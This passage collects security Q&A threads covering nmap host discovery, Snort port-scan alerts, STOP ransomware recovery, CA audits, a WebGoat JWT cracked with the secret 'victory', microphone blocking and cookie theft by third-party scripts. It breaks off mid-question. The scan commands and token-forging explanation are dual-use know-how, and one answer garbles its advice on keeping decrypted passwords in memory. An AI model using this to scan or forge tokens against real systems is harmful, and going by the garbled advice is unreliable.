As with all things security, there is no one measure that would prevent this but you can make it harder for attackers to execute, and give yourself more opportunities to detect it.


nmap Not Working with CIDR Notation on LAN I'm doing a simple host discovery on my LAN and noticed that CIDR notation does not report any hosts. I scoured man nmap with no findings in differences between using a CIDR range and any other range.

sudo nmap -sn 192.168.1.* and sudo nmap -sn 192.168.1.0-255 both report the correct number of live hosts.

sudo nmap -sn 192.168.1/24 reports 0 hosts.

I noticed the latter takes a lot longer to run as well. What is going on here?

You are missing the final segment of the IP address.

It should be 192.168.1.1/24 this basically says to NMAP scan the entire class C network space of 255 IP addresses.

This is correct CIDR notation and assumes your LAN is on 192.168.1.

For more info on CIDR check out the Wiki: https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing


Snort (IDS) Don't show Port Scans I have install Snort & acidbase by this instruction and access it through this local address

  127.0.0.1/acidbase/base_main.php

The problem is after scan it with nmap by this command

  sudo nmap -p1-65535 -sV -sS -O [Snort Installed IP Address]

by another computer in the network witch have ping connectivity, it show nothing in Portscan Traffic and it is always 0% .
I am sure the configuration is okay because it record everything else and alerts shows up in the Alert cache.

Any idea why Snort Don't show port scan activity ?

Edited :

I uncomment "preprocessor sfportscan" , restart snort service ,portscaned with nmap , result : nothing.

  preprocessor sfportscan: proto  { all } memcap { 10000000 }
  sense_level { high }

I entered my exact ip address in "ipvar HOME_NET" , restart snort service  , portscaned with another pc ,result : nothing.

the line include

  $PREPROC_RULE_PATH/preprocessor.rules

is commented so there is no preprocessor.rules file in that path.

One needs to know your snort.conf and other Snort settings to answer this. Still I shall try to answer with whatever limited information you have provided.

In all probability, the threshold settings for the portscan preprecessor (called as sfportscan if I remember correctly) are set to some higher (default) value in your snort.conf, and the portscan you did could not cross those threshold values.
Another reason could be that your $HOME_NET variable is defined in such a way that the IP you are scanning is not in your HOME_NET and thus Snort doesn't care about scans on it. There could be other reasons too, such as the IP you are using to scan as well as the target IP, both are part of your HOME_NET, and thus again Snort does not care about a HOME_NET-to-HOME_NET scan.


How to remove STOP Ransomware Guys hello. One of my friend laptop get infected with STOP ransomware, all files are encrypted with .mosk extension.The admin account of machine is also compromised, we tried to install emisoft decryptor in the machine, but unfortuantely it's not allowing to install anything as the admin account is managed by attacker. However we have created another user account granting super admin access to it. But still i can see files stored in drives are with .mosk extension. So my question to all of you is that if we connect to internet for any analysis then it might get propagate to this account as well. So what should we do reset the machine?(All files will get deleted then, any option somehow that we can decrypt those files and ransomware can be removed?). Sorry for any typing mistake. Your valuable feedback will be appreciated.

First thing I'd do is create a (for example) Ubuntu Live USB on a separate machine and boot that. The ransomware won't work on a Linux operating system, and you can access your hard drive. The files will still be encrypted, but for starters you gain control of the system while cutting the attacker off. You can then recover unencrypted files that have not yet been affected, if there are any.

Next, google reveals a helpful guide regarding the ransomwhere in question:

  When it scans your computer for target files, it attempts to establish a connection with its remote server, which generates and sends an online key to encrypt data. If the connection is not available or gets lost, an offline key is used then. In the future, the offline key might appear and you will be able to recover your files.

  You can determine if your files were encrypted with the offline key if your personal ID ends with t1. Otherwise, it means that an online key was used, and there are no chances to decrypt your data.

There is a tool called STOP DJVU Decryptor (can be downloaded) - disclosure, I have no experience with the same. With the .mosk extension, it appears you will only be able to decrypt your data if you are lucky enough that it was encrypted with an offline key. More info here

  You can determine if your files were encrypted with the offline key if your personal ID ends with t1

Regarding the removal of the malware:

  the easiest way to uninstall such type of a computer virus is to use a reliable antivirus program.


What is this Polish IP doing on my internal WiFi? Lately I've seen many strange events in the logs of my wifi router / cable modem. Many are linked to the IP address 83.0.68.240 from the ISP, Orange Polanska. Events like "DoS attack: Ping Of Death", "DoS attack: Teardrop or derivative" etc.

However today the situation rose to a new level: The IP address was no longer limited to appearing in the logs of outside attackers. It now appeared to be one of the devices on the Wi-Fi network. See linked photo: http://imgur.com/YFgLBCJ

The Mac address of the device suggests it is an Apple device. At one point the name of the device was the same as the name of a roommate's iPhone.  I asked the roommate if he was using a VPN on his phone, and he said no.

Is it possible that person from Poland has in fact enter the network?

If the iPhone was hacked, why would it appear on the Wi-Fi network as a Polish IP address?

FYI, I asked Orange Polanska twice to shut this attacker down and they have not done it.

The reason a computer would be listed in that section with an external IP is that the malicious device wants its traffic to look like it came from that other address.  This is commonly done as part of a DDOS of other places, because the false source IP causes all of the returned traffic to head to that other address (in cases like amplification attacks this can be very powerful).  Are you noticing anything like poor performance of the network overall?  Or a lot of registered traffic even though you are only browsing StackExchange?

There is possibly a compromised device on your network.  It may also be that the constant stream of malicious packets finally caused the router to mix up traffic to the point where it looked like some packet outbound had that source IP (no telling how well written that Netgear code is).  As a mitigation, (and if possible from that device) you could try blocking all traffic to/from that IP (if its the only one that has been noted to have malicious activity) and see if the strange behavior stops.


Trust on certificate authorities If I as layman don't err, there are in banking controls, from both internal and national
oversights, of the work done by the employees. These are apparently effective, since the
details of transactions can be audited and verified from recordings. Are there essentially comparable controls of the work of the employees involved in digital signatures, taking consideration also of the fact that in many cases more than one CAs are involved in a transaction?

I just found an interesting article on digital signatures: D. Adamski et al.: Why Digital Signatures Fail - Legal Concepts for Long Term Validity in Austria, Germany and Poland, in A. U. Schmidt et al., Long-Term and Dynamical Aspects of Information, pp. 113-124, Nova Sci. Publ., 2007.

See Webtrust for an introduction on what is usually done with CA.
A core point is that in many countries, banks must comply to existing regulations enforced by dedicated administrations. Such regulations and systems are still nascent in the case of certificate authorities and digital signatures; so the situation is not clarified yet. One can expect that common controls will emerge at some point (come back in 40 years or so...).
In the mean time, each actor in the business of signatures will have its own requirements and contractual engagements. For instance, Microsoft, in their Root Certificate Program, list a number of requirements, including:

The CA must complete an audit and submit audit results to Microsoft every twelve (12) months. The Audit must cover the full PKI hierarchy that will be enabled by Microsoft through the assignment of Extended Key Usages (EKUs). All certificate usages that we enable must be audited periodically. The audit report must document the full scope of the PKI hierarchy including any sub-CA that issues a specific type of certificate covered by an audit. Eligible audits include:

WebTrust for Certificate Authorities v1.0 or later, completed by a licensed WebTrust for CAs auditor,
ETSI TS 101 456 v1.2.1 or later,
ETSI TS 102 042 V1.1.1 or later, or
ISO 21188:2006, “Public key infrastructure for financial services -- Practices and policy framework,” completed by either a licensed WebTrust for CAs auditor, or an audit authority operating according to the laws and policies for assessors in the same jurisdiction as the CA.

Anyway, the ultimate goal for a digital signature system is to revert the burden of proof: if there is a dispute between two parties A and B, A claiming that a given signature (purportedly by B) binds B, while B pretends that the signature is fake (or could have been forged, hence cannot be considered binding), then the digital signature system is "strong" if the judge estimates that it is up to B to prove the potential fakeness of the signature, while A can just sit and watch. All the controls and regulations and audits and InfoSec frameworks are means by which this goal may be achieved, within a legal framework which:

depends on the jurisdiction, and
does not exist yet (or not fully) in many jurisdictions.


PCI onsite QSA Audit Review Has anyone had any success using video recordings from ObserveIT during a PCI  onsite QSA audit review?  We are scheduled to be audited in a few months and are considering adding ObserveIT to guarantee coverage of anything missing. Is this a good expectation?

You should be asking this question directly to your QSA as they will be determining what they accept as evidence for your compliance. The PCI Council does not necessarily bless or damn any particular application, if you find a tool that will help you easily manage or address a requirement, and its cost effective and accepted by the QSA, you'd have a win.


Breaking .kdb (KeePass 1.x) file During a penetration testing lab, I have obtained access to a .kdb file of a KeePass 1.25 (password management).

Therefore I tried to find a way to obtain the file key file or key and after researching the internet a while I have not found any exploit or vulnerability.

Due to the fact that it is a lab, after all, my question is:

Do I really have to brute force the key or there is a smart shortcut?

There is no short cut. Brute forcing it is the way to go.


How can an organization know my age based on my IP address? My teenage daughter was recently banned from a teen forum. The response we got from the forum administrators explained that she was banned because the IP address revealed that she was "over age" (too old) to join the teen forum. She was using my old computer and I think we all use the same IP address since we live in the same house.

How can they know my age based on my IP address?

Short answer: they can't.

Long answer: An IP address does not carry any information about the ages of any users behind them. The only thing they can do is correlate different activities from that IP address, hoping to find accesses to a service that does some kind of age verification, and then boldly deduce that since one user behind that IP address was verified to be over age, all of the users behind that IP address must be.


How are TLSv1.0 ciphers negotiated as TLSv1.2? I'm a little confused about something I am reading in Bulletproof SSL.

"TLS 1.2 is the only protocol that allows suites to define their PRFs. This means that for
the suites defined before TLS 1.2 the negotiated protocol version dictates the PRF. For
example, the TLS_RSA_WITH_AES_128_CBC_SHA suite uses a PRF based on HMACSHA256
when negotiated with TLS 1.2 but a PRF based on a HMAC-MD5/HMACSHA
combination when used with TLS 1.0. On the other hand, SHA384 GCM suites
(which can be used only with TLS 1.2 and newer) will always use HMAC-SHA384 for
the PRF."

The cipher in the example above is listed as a TLSv1.0 cipher from the OpenSSL page. However it says here that it can be negotiated as TLSv1.2? What am I missing? (Obviously a lot I know that but be gentle:)) I was under the impression that a 1.0 ciphers could only be negotiated as 1.0.

No, new versions of TLS have not removed cipher suites defined in older versions.1 Which version of TLS you use and which cipher suite you use are two linked but separate matters (you can't always use a new cipher suite in an old TLS version). OpenSSL is just listing which version the cipher suites were first added in.

The PRF is mostly used for key derivation (and verifying the handshake hasn't been tampered with). TLS 1.0 and 1.1 said, "we do this thing with MD5 and SHA-1". TLS 1.2 went and changed it to, "Yeah, so, now it depends on the negotiated cipher suite. All the old cipher suites will now use SHA-256, btw.". (Edit: I'm 99% certain that's correct. The old cipher suites may use either MD5 or SHA-1 instead. The RFC confuses me.)

1 The agenda for TLS 1.3 includes removing all sorts of old, obsolete nonsense, including many yucky cipher suites. Also, I'm being careful with my language when I say "TLS". I'm ignoring SSL. SSL 3.0 probably removed stuff, and I don't know if TLS 1.0 did.


Design of a state machine model to solve conflict of interest in Computer Security I need to design a state machine model to solve conflict of interest in computer security. [I know Chinese wall model but it is an information flow model]

Are there any such existing models?

Any reason as to why we cannot design it as a state machine model?

Unless you mean something very specific by "state machine model", there is no reason why you couldn't model conflict of interest using a state machine. The Chinese Wall itself can be easily represented as a state-machine, following the traditional BLP approach:

a state is defined by the set of current accesses, a function associating each object to a company dataset, and a function associating each company dataset to a conflict-of-interest class.
The transition function takes a state and an access, and if the access request is not in conflict with a current access, it is added, otherwise the access is denied.

Ravi Sandhu actually proposed an enforcement of the Chinese Wall model using a lattice-based model,  and some of my PhD work was to define some general state-machine model for access control systems, including the Chinese Wall. The section 3.2 of this paper can give you a formal definition of the CW using a state-machine.

I hope that helps, and I can bring more clarifications if wanted.


Should WS-Fed, Mozilla's Persona or OpenID ever be used with a Banking application? Most banking sites I've seen use a sign in process that is proprietary, or otherwise won't integrate with an external IDP.

Should banks offer integration with services like OpenID, WS-Fed, or Persona systems?
Should a bank use those technologies (WS-Fed, Persona, or OpenID) even if they are "closed" and not federated with 3rd parties?

My desire for this is because they can offer multi factor authentication services even if the target web app doesn't support multi factor.

Update:

If a bank supported such a scheme, would a second challenge be useful / appropriate?  (Password, OTP, Etc)

I think that banks should keep their systems closed and have stricter security policies than most OpenID providers.
Imagine logging into your bank account using Facebook, Gmail or other providers. This would highly increase the attack surface.

Most banks have hardware tokens for their web banking sites and several others security features in place to protect your transactions. Common setups involve:

Primary authentication using an username and a password
On every sensitive operation while logged in, a token generated by the hardware device is requested
A message is sent to your email/phone with details about transaction that have been made an exceed a certain amount.

Banks have a very sensitive environment they have to protect and relying on third parties for the authentication is not the best solution.

They should have strong systems in place that they can be audited at any moment and they should also be able to deal with any security incident (have logging mechanisms, alerts for abnormal behavior ,etc).

If your bank does not already have multi-factor authentication then they are one step behind in respect to their web application security.


Surveillance: blocking laptop's microphone from spying on you? It is a known fact that your laptop camera can be hacked to spy on you. While the most often mentioned remedy is very low tech yet effective, everyone seems to omit the fact that the microphone can be used to spy on you too. I have no proof but it seems  probable.

Is there any remedy to this except for the general "making sure your laptop is not hacked"?

EDIT: "reversible block" is the word I was looking for!

This issue affect both laptops, tablets and cellphones with similar solutions, so even if only laptops were explicitly mentioned in the OP's question (with still a link to an article focusing on cellphones), I think it can be useful to address the issue as a whole.

There are several ways to counter malicious use of embedded microphones:

Physical destruction / removal of the microphone,
Using a dummy plug,
Relying on software isolation techniques,
Using specific hardware to mitigate privacy issues.

Let's see each one of them, what they are all about, and what are their strengths and weaknesses.

Physical destruction / removal

The most well-known and most effective solution is to physically destruct (drill) or remove (desolder) the microphone: no microphone anymore, no malicious way to use it. An external microphone can then be plugged whenever required (earphones for instance in the case of cellphones).

Be aware however that certain devices (in particular cellphones and tablets) may contain several microphones working together (mainly used to attenuate background noise): you must be sure to not miss any of them.

The iFixit website is usually a great place to find teardown videos, unmounting instructions and even vendor specific tools and parts for various hardware including cellphones and computing devices.

But apart from the actual microphone(s), researchers have found that mobile devices gyroscopes (which do not even require any authorization in the case of mobile apps) can also be used as low quality microphones. So, the "no microphone, no audio spying possible" adage may not be completely true.

Using a dummy plug

As recommended  at the end of this article, this is most probably the easiest way to get an easily reversible deactivation of the microphone. All you have to do is simply cut the plug from some old microphone or earphone and put it into your device to disable the main microphone, just unplug it and the microphone will be back.

However, do not assume that while this requires a physical action on your side this means that the microphone will be physically disconnected. I remember old issues when running Linux on some laptops where plugin in earbuds would not deactivate the laptop's main speakers: sound would be diffused through both the earbuds and the main speakers. This means that some action had to be done at the software level in order to disable the main speaker when an earbud plugged-in event is triggered.

One cannot exclude that the same rule also goes for the microphone. Depending on the device, plugin in a dummy device may indeed physically disconnect the main microphone(s), or the main microphone(s) may still remain reachable at a low level.

Nevertheless, this should still be efficient notably against spyware relying on the device's standard audio stack and against cellphones' hidden automatic callbacks which, IMO, are the most common threats.

Low level attacks are more in the realm of targeted attacks, and if you are a high enough target to justify such investment from the adversary and it turns out that your devices are affected by low level malware (or you assume so by default, which may be wise in such circumstances), then your balance should go more toward drastic measures than convenience and physically removing microphones may seem a minimum.

Software isolation

The most documented entry point for the attackers remains at the software layer, whether by exploiting some flaw or manipulating the user into running malicious code.

Hardened desktop computing platforms (mainly Qubes OS and to a lesser measure the newcomer Subgraph OS in the FOSS realm, Polyxene in the proprietary realm, there may be other) strongly isolate software from the hardware. There is no real equivalent on mobile devices, as their low-consumption CPUs do not offer virtualization feature yet, however there are early ongoing projects integrating LXC into Android which seems to be a very promising first step.

On such systems, in order to reach the microphone a malicious software has to be able to escape the containment system and build a covert channel through it. This provides a good protection level even against targeted attacks.

However, in case of a high value target, chances are that the attacker will just try to bypass the whole operating system at once and directly reach the lowest and most privileged layers by taking advantage of:

The Intel Management Engine (and its AMD equivalent) on computers,
The baseband firmware on cellphones.

As far as I know, there is no real solution to these threats.

For computers: older computers do not come with Intel Management Engine and using libreboot allows to disable it on pre-2009 computers, but there does not seem to be any solution on recent platforms except using specific hardware as discussed in the following section.
For cellphones:

The osmoconBB publishes a free implementation of the GSM stack to replace the opaque default one, but AFAIK there is no other project going any further.
On their Hardening Android for Security and Privacy, the Tor development team launched a call years ago for devices where the baseband hardware would be effectively isolated from the rest of the device but with no real luck.

Using specific hardware

A few projects aim to find solutions in order to provide platforms as trustworthy as possible to their users, allowing to have a real control on the hardware behavior.

For the computers:

The Purism company (clearly a pun on NSA's PRISM project) builds laptops and tablets with a specific focus on privacy (by the way their Librem 13 model is the first officially Qubes-certified laptop). One of their originality is to equip each one of their product with hardware switches allowing to physically disable the camera, microphone, WiFi and Bluetooth. However, they still seem to run on CPUs enforcing Intel Management Engine (an Intel Core i5 in the case of the Librem 13).
Crowdfunded projects like the EOMA98 (also featured in Linux Magazine) try to create the most open platform as possible. This one especially is interesting due to the care taken in choosing the components, most especially the CPU. Such project rely on low-consumption CPUs, which does not provide the same computational power and cannot run a hardened desktop OS like Qubes OS (see the "Software isolation" part above, the limitation are the same as for mobile devices)... for know, since things are moving very quickly in this area and I don't see why open hardware would not follow the same path than open software (being optimistic, I would say that bugging their own CPUs was probably the nicest present Intel and AMD could have made to their competitors).

For the cellphones:

There are comparable projects on cellphones side, like the Open hardware Cellphone which rely on the Adafruit Fona cellular phone module, but as stated above you remain stuck with GSM with no concrete future plan to go beyond this. Moreover, while the hardware itself is open I am not sure at all that this module's firmware is open source (?), in which case it would solve absolutely nothing regarding the network baseband module trust issue. However, such device would still give the opportunity to have a better control on the microphone (and camera whenever you add one), for instance by adding a switch like the one equipping Purism computers.
Mike Perry from the Tor project has written and maintains a guide on Hardening Android for Security and Privacy. In its current shape it is described more as a proof-of-concept due to usability issues, but it still provides a wealth of information. Fundamentally, due to the lack of proper isolation between the network baseband module and the rest of the cellphone, the idea is to use two devices:

A WiFi-only tablet with no cell network support and optionally the microphone removed (this is actually only to address a potential software exploitation now, since the microphone is effectively out of reach of the cellular network),
A separate cell modem device providing WiFi access for data services only,
Use VoIP (or whatever you like, as long it is data) on top of that to communicate.

Conclusion

Practical security is mostly a matter of balance between pure security and convenience. As always, the exact good answer heavily depends on your actual needs and threats you are really facing, but to give an idea:

For high-profile targets (I mean life or death issues, not a teenager downloading some warez ;) ), I would feel more comfortable with a solution relying on specific hardware whenever possible (ie. when such solution, which are still in their infancy, suits your needs), otherwise on physical modification of more common hardware by removing the microphones and putting some black electrical duct-tape on the cameras.
For privacy-conscious users, unless their geeky part push them to actively participate in the open-hardware move, using low-level software isolation on computers, a dummy plug in the cellphone and some black electrical duct-tape on each camera should be sufficient to quickly and easily provide a good level of privacy without really sacrificing convenience.


How can I ensure safety when literal passwords are required I have a case at my hands where my server needs to make automated API calls that require authentication. Hence the server will need to know the literal passwords to make those calls.

What options do I have to ensure the security of those passwords?

The best way to store passwords in a retrievable way would probably be to encrypt them with a symmetric cipher.  Have the passwords stored on the device that intends to use them only in their encrypted form and then perhaps on startup of the service have the key to be used to decrypt the API passwords be derived through external methods (You yourself entering a password, retrieving it from an external computer not connected to the network, etc).

Once the key to decrypt your API passwords has been loaded into memory only and not placed on the disk, you may use it to decrypt the API passwords as needed.  Make sure to keep plaintext passwords in memory as well and overwrite them after they are used.


WebGoat 8: JWT Tokens Lesson 5 using hashcat to crack signature I cracked the hash, and I got this:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM:victory

Is 'victory' the secret key? What do I do next?

This seems to be a JWT token. I can tell by the three base 64 encoded parts separated by dots. You can decode the token easily on jwt.io.

To prevent people from changing the token, it is cryptographically signed using a secret key. You cracked the secret key, making it possible to alter the JWT token or create a new JWT token. What the impact of this is depends on the information stored in the JWT token, but typically it makes it possible to create a session token for another user.


Authentication handshake between two independent apps I need help on a solution for below scenario from a security perspective.

Scenario:

There are two independent web applications App1 and App2.
User will log in to App1 by performing authentication demanded by App1.
Once authenticated, the user will find a hyperlink to access App2.
On click of the hyperlink, App1 will pass the minimum parameters required for session creation (user-id) to App2.
User should be logged into App2 in a ’new tab’ on behalf of passed 'user-id’.

Current approach:

By means of asymmetric cryptography, App1 will have a key-pair.
App1 creates a JWT token (embedding ‘App2 user-id’)  as part of initial handshake with a JWT expiry and post it to App2.
App2 verifies the JWT signature of App1 and checks for the JWT expiry.
On success, App2 continues to create a session for the user in a 'new tab’.

Problem:

Although the JWT is sent over https, it's not opaque during transit.
While secrecy being an issue, what are the other security risks in the current approach?
What could be a better authentication handshake, as opposed to the aforementioned process?

Thanks in advance.

JWT can either be signed, encrypted or both. Please use the case of encrypted and signed for secrecy of the App2 user-id (and other details) transmitted via JWT.
Please refer this for more details.
It's recommended to sign and then encrypt but vice versa is also possible.


Need help collating resources for an information/cyber security audit document for an MSP I am currently serving out an internship with a small MSP (4 employees, 50-100 clients with between a couple and 100 employees).
My main project is to work on a information/cyber security audit document that is to be used by the employees to perform audits for client networks. It contains a checklist of items to check (about 70 items) split into 12 sub-categories (Security Policy, Security Training, AV Measures, Firewall, Operating Systems/service[out-of-date], business contingency, Wi-Fi Access, etc).
The audit checklist seems comprehensive enough but I am unsure if I am missing anything. Even though I majored in cyber security, I don't seem to have any idea of resources for standards relating to this.
I basically wanted to ask how I should go about ensuring that this checklist is thorough enough to be able to develop a solid security posture baseline for the clients.
The current issue with this document is that it takes too long for the template to be used to produce an audit report from. So I have decided to streamline the report generation by pre-writing generic text for each checklist item that explains the consequence of failing that particular checklist item. Using a VB form, the auditor will tick what items have failed and the produced document will remove all the pre-filled writing for items that have passed.
Do you guys have any advice on where I can get information from regarding these items?

Your approach is not the best approach. Yes, there are well-known "lists", like:

NIST CSF
CIS Top 20
ISO 27001

And there are many others, too. Dumping all those items into a massive omni-list and trying to check each item is not going to be helpful.
You are missing a couple of important ideas in your approach:

scope
purpose

Without scope, you could come up with a list with a million items. And even if you merely come up with "a lot of" items, it will be difficult to work through and the findings might not be useful or might not relate to each other well.
Without purpose, even if you have a well-scoped and manageable list, the result may be useless. Knowing why you are auditing, and what process the results are supposed to inform will help you define and refine your audit list.
For example, CSF, CIS Top 20, and ISO 27001 have very, very different purposes and scope.
So, in the end, I would choose a standard list that meets the scope and purpose you have for the audit. If you try to think of all the things you might need to check yourself, you are sure to end up with a disjointed, multi-tentacled, monster list. You are free to add to your chosen standard if the lists are not complete for your purpose.
I also have another suggestion; don't just check to see if a list item is done or not (a yes/no binary choice). Rate the maturity of the items. I use a 1-5 scale based off of the CMMI scale modified for operations. It is likely that an organisation is doing most of the things on any list, in some way, somewhere in the org. But there is a difference between "that one intern does it when they think of it and they tell someone when there is a problem" and "it's company policy that we train people on and we audit that particular process and have KPIs to improve it".


May be justified to use generic and shared user accounts in order to segregate and reduce risk? Imagine I have a group of users called "support" that participates solving different kinds of problems. Each user has a nominal username like jsmith that has not much privileges but additional everyone in this group uses two different user accounts: operator and administrator. Each account has different additional privileges. Administrator has administrator privileges and operator can login to a lot of different systems in order to perform different operations.

Now I'm trying to eliminate the use of generic usernames like operator and administrator in order to have accountability and be able to identify who has performed an action. However, would security be improved if I give operator and administrator privileges to each nominal account? I think the security would decrease because one user account would accumulate a lot of privileges (like using root in everyday work).

How can I do this accountability and maintain segregation and security?

Is best practice to create users adm_jsmith and oper_jsmith? This would affect usability because users would need to change between users every time they need to do a different action.

You are right, just giving permissions to each user that needs them only ocasionally is not a good option. Sharing privileged accounts isn´t an option too.

Since you did not specified your environment, I will provide two answers:

Linux/*nix

You could give each administrator the option to escalate to a higher privilege level on his operational account. Tipically, on Linux, you do that by using sudo to run privileged commands. You give such permission to an user by adding it to the sudoers group/file (Ex: https://help.ubuntu.com/community/Sudoers).

The default on most Linux systems is to ask again for the password of the user to allow him to run administrative commands using sudo. However, you may want to ask for a root account password (not the best option since it is a shared password, but may be OK if at least you don´t allow direct root login, making sure one can only use it if he has also a operational account with sudo priviledge).

But if you want even better protection you could ask a different password per user, as  described in https://unix.stackexchange.com/questions/94626/set-sudo-password-differently-from-login-one.

Therefore, using sudo each user will need to know his own password to log in (as operator), and also confirm the password to escalate to an administrative mode when needed. If you want to add extra protection, you can even ask for a second password to escalate to administrative privileges (root or second password per user). But each user will have its own (and only one) user and you will have good traceability.

Windows

You should give each admistrator an administrative account, and set UAC to require the user to enter the password again when running administrative operations. That would be the equivalent of Linux with sudo. However, you can not set a different password to be asked, so using two accounts for each administrator looks like the only option if ou want to really isolate the operational and admin accounts. Take a look on this guide from Microsoft, where they recommend exactly that:
https://technet.microsoft.com/en-us/library/cc700835.aspx

  Separating Administrative and User Accounts for Administrative Users
  For each user who fills a service administrator role, create two
  accounts: one regular user account to be used for normal tasks and
  data administration, and one service administrative account to be used
  only for performing service administration tasks. The service
  administration account should not be mail enabled or used for running
  applications that are used every day, such as Microsoft Office, or for
  browsing the Internet. Always give the two accounts different
  passwords. These precautions reduce the exposure of the accounts to
  the outside world, and they reduce the amount of time that
  administrative accounts are logged on to the system.


How can a network observer identify computers running old versions of Java? I received an email earlier today from my ISP (a university). The email reads (in part):

  Your network connection has been disabled because your version of Java is not patched for the most recent security vulnerabilities. This leaves your computer open to attack. If these vulnerabilities are not patched, your computer could come under the control of a hacker.

I don't have Java installed on my machine at all, so this seemed like an obvious false positive. I contacted them and received a reply stating that:

  Our system automatically detects these vulnerabilities, and false positives are
  rare.

So it seems that they are running automated scans against hosts on the network to try to identify old versions of Java (and probably other software). It seems strange that I would be identified since:

I block all incoming traffic except ICMP and port 22 (SSH); tests performed after the incident confirm that the firewall is functioning as intended both on LAN and WAN
All of my internet-bound traffic is routed over an encrypted OpenVPN tunnel to a remote server. I confirmed after the incident that all traffic, including DNS, is being routed through this tunnel (as intended).

In the interest of avoiding future false positives, what kind of methods are typically used for these kind of automated vulnerability scans? My interest is specifically regarding software like Java which does not run in the background or act as a server.

Some background:

My system is running Debian stable. No JDK or even JRE is (or has ever been) installed on the system.
The ISP is in a position to monitor all traffic or run scans, but not to access my computer in any way. I have never installed any software from the ISP or been asked to.

Well, obviously, whatever heuristics the ISP employs are wrong in your case, since you do not have Java at all. We can imagine a few scenarios:

The ISP detection is based on tracking downloads from Oracle's site: their system failed to detect any download of an update from your machine, and therefore concluded that your Java "must be old". (It would be a quite stupid, unreliable detection system.)
There is a University Web page that you have visited, outside of your VPN, and that Web page includes some Java plugin detection mechanism (like this one). Some detection methods involve only some Javascript which looks at the browser properties, and that Javascript may have become quite confused about your browser which happen not to be Internet Explorer, and not to run in Windows at all.
The ISP uses dynamic IP addresses, and the Java detection system is not aware of it. Someone else's computer has an old Java, and was using an IP address which was then allocated to you, and the detection system decided that you were the culprit.
Due to malice or (more often) misconfiguration, another user with an old Java temporarily used your IP address as his own. Same result as the previous scenario: the report on unpatched Java goes to the wrong guy (you).

To detect what version of the Java plugin is installed in a user's browser, something must happen with that browser: the browser must be up, and run a Java applet, or some Javascript which scans the browser properties. Apart from making your browser connect to a site they control, their only remaining non-stupid method is to passively scan for HTTP requests; when some Java code does an HTTP connection to some server (many applets talk back to their source server as part of their operation), the HTTP request will include a User-Agent header line with the Java VM version included at the end (e.g. as "Java/1.5.0_19"). I can imagine a "Java detection system" which just waits for such a string to appear as part of a User-Agent header in network traffic.


How do I reset passwords on multiple websites easily? One of my old email addresses was involved in the recent Whitepages breach disclosure (source: Have I Been Pwned).

I don't remember on which websites I used that email address for registration, but I would like to reset my password everywhere possible. Websites could include: Facebook, Google, Amazon, eBay, Paypal, etc. - basically the top N commonly-used or sensitive web applications/platforms.

This is particularly important as I was not using a password manager at the time and may have reused passwords.

Is there an existing way to automate initiating password resets, mainly by requesting password reset emails, on common platforms given a single email address that I have access to?

This is a known problem without an existing solution. Some password management tools are working on it, but it is not complete or fool-proof.

For example: https://helpdesk.lastpass.com/generating-a-password/

  Auto-Password Change will change a site’s password with a
  single-click.  This feature currently supports 75 of the most popular
  websites. You can see the full list of supported websites below.

In general, though, when you use a password manager for all your accounts, 90% of the work you need to do is already done. You know which sites use that username/email, and you can avoid re-using passwords in the first place (or know which accounts use a shared password).


Android app isolation risks & implementation Are Android apps, specifically Chrome, isolated?

Can other apps listen to other apps' activity?

If so, how can apps be sandboxed?

This is a very broad question.

First you can start by reading https://source.android.com/devices/tech/security/ to get some feeling.

If you have experience with UNIX, then you will quickly see how the base of security in android works - every application has its own UID by default, which prevents it from doing may things to other applications on a system. This is basically THE application sandbox on Android (compare to desktop where every user application generally runs as the logged in user).

But of course all the inter-process communication still exists:

files readable/writable by other applications
UNIX domain sockets
network sockets (if application has INET permission)
any "classical IPC" (explicitly shared memory, semaphores...)
Binder IPC (Activities, Services, Broadcast Receivers, Content Providers).

For all these it's application's responsibility to not allow arbitrary application to interface with it.

Then there are of course a bunch of side-channel attacks, like the one @lzam mentioned. You can also monitor process times, memory consumption. You might be able to get the activity that's currently displayed, see network connections from application, etc., etc.


Loading a logged in page in an iframe Suppose www.youtube.com have no X-Frame-Options set.

Imagine I'm already logged in to YouTube. Now from another web page in the same browser I'm loading YouTube in an iframe, will the browser send all the auth-cookies to the YouTube loaded in the iframe so that it will be loaded as logged in?

By default, yes, though the sandbox parameter in the iframe tag can change this behavior.


Is it possible to see if a script on a website steals session cookies? I'm looking as some web analytics solutions, I know it sounds paranoid. but cookie-based web analytics need for you to paste their JavaScript code on your web-site.

I don't like the idea too much of just pasting scripts on my web-site that I don't know.So I want to check if these scripts send to another server the session cookies of my website's users.

Some ways I though of are:

Use firebug to see all the requests made - the problem is that the script might encrypt the cookies in some way so I won't see the cookies as plaintext.
Search the JavaScript code for terms like "document.cookie"

What do you think?
And will setting the session cookie to HttpOnly completely disable this?

Thanx in advance.

I think your premises does not get the whole issue:

The script you embed from external sources can be changed at a later time.
Stealing the session cookie is just an easy way to leverage and XSS vulnerability. Instead of stealing the cookie and using it from another computer to do malicious things, the malicious script can do those things directly without steeling the cookie. This has a number of advantages from the attackers point of view:

It works with the HttpOnly flag since the script just sends the request using the normal browser means such as submitting a form. This can be done in an hidden iframe
It does not reveal the ip-address of the attacker to the server. This is especially true in the context of reflective XSS attacks.
It does work with additional authentication mechanisms such as http basic auth or binding the session to the client ip-address.


How to know if a PDF file is infected? I'm afraid to open a PDF book. When checking the file via pdfid, I get this:

PDF Header:% PDF-1.6
 obj 4175
 endobj 4174
 stream 3379
 endstream 3379
 xref 0
 trailer 0
 startxref 1
 / Page 794
 / Encrypt 0
 / ObjStm 6
 / JS 3
 / JavaScript 0
 / AA 6
 / OpenAction 0
 / AcroForm 1
 / JBIG2Decode 0
 / RichMedia 0
 / Launch 0
 / EmbeddedFile 0
 / XFA 0
 / Colors> 2 ^ 24 0

I also checked the file with virustotal, where it says that the file is clean. But antiviruses do not always find what's wrong, right?

So I have these questions:

